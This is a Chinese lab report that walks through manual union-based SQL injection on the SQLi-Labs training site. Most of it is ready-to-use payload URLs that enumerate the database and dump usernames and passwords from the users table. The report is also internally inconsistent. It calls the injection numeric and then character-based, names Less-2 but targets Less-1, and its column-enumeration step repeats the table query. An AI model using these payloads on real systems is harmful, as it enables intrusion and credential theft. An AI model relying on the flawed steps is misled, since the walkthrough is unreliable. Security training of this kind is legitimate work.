实验目的:
理解数字型GET注入的原理和特点,掌握利用联合查询(union select)的方法实现SQL注入的基本流程
实验原理
数字型GET注入,其注入点存在于URL中的GET参数处,如
http://wwwtestweb.com/userphp?id=8,而服务器后端实际查询代码原型诸如:
"select ... from ...where id=$id…”。
攻击者可以通过构造恶意的GET输入参数,利用union select命令进行注入,暴露数据库中存储的信息。
实验步骤
本实验的目标是:以SQLi-Labs网站的Less-2为入口,利用联合查询(union select)的方式实施SQL注入,获取SQLi-Labs网站的登录用户名和密码。
1.访问SQLi-Labs网站
在攻击机Pentest-Atk打开FireFox浏览器,并访问靶机A-SQLi-Labs上的
SQLi-Labs网站Less-2。访问的URL为:
http://[靶机IP]/sqli-labs/Less-1/
根据网页提示,给GET定一个参数
http://[靶机IP]/sql/Less-1/?id=1
注:该实验中Firefox浏览器已经提前安装好HackBar插件,在上图的界面中右击鼠标,点击 检查 即可进入控制台,随后点击HackBar即可使用该插件 (部分机型按F12即可进入控制台)
2.寻找注入点
分别使用一下三条payload寻找注入点并判断注入点的类型
http://[靶机IP]/sql/Less-1/?id=1'
运行报错
http://(靶机ip)/sqli-labs-master/Less-1/?id=1' and '1'='1
运行后正常
http://靶机ip/sqli-labs-master/Less-1/?id=1' and '1'='2
运行后为正常显示
以上结果可以判断,网站存在字符型注入点
3 判断网站查询的字段数
尝试使用以下payload获取网站查询字段数(关键字order by)
http://(靶机ip)/sqli-labs-master/Less-1/?id=1' order by 1--+
正常显示
由上述结果可以判断,网站查询字段数为3
4 判断网站的回显位置
利用以下payload判断网站回显位置
http://(靶机ip)sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,2,3--+
执行结果是 2号位和三号位可以回显
5 获取网站当前所在的数据库库名
http://(靶机ip)/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,2,database()--+
显示结果位security
6 获取数据库security的全部表名
http://(靶机ip)sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
显示结果中,有一个名为users的表,这当中可能存在网站用户的基本信息
7 获取users表的全部字段
http://(靶机ip)/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' and table_name='users'--+
8 获取users表id,username和password字段的全部值
由于users表中存放多组用户名和密码数据,而每一次只能显示一组数据名,我们通过limit M,N的方式逐条显示(1)显示第一组数据
http://(靶机ip)/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,2,concat_ws(',',id,username,password) from security.users limit 0,1 --+
显示结果位Dump,Dump。
(2)显示第二组数据
http://(靶机ip)/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,2,concat_ws(',',id,username,password) from security.users limit 1,1 --+
(3)显示第三组数据
http://(靶机ip)/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,2,concat_ws(',',id,username,password) from security.users limit 2,1 --+
以此类推,可以通过修改limit后面的参数,将users表中存放的所有用户信息全部暴露出来
实验总结
本次实验,成功实现了对存在字符型GET注入点的网站的手工SQL注入,掌握了基于联合查询的注入方法和流程。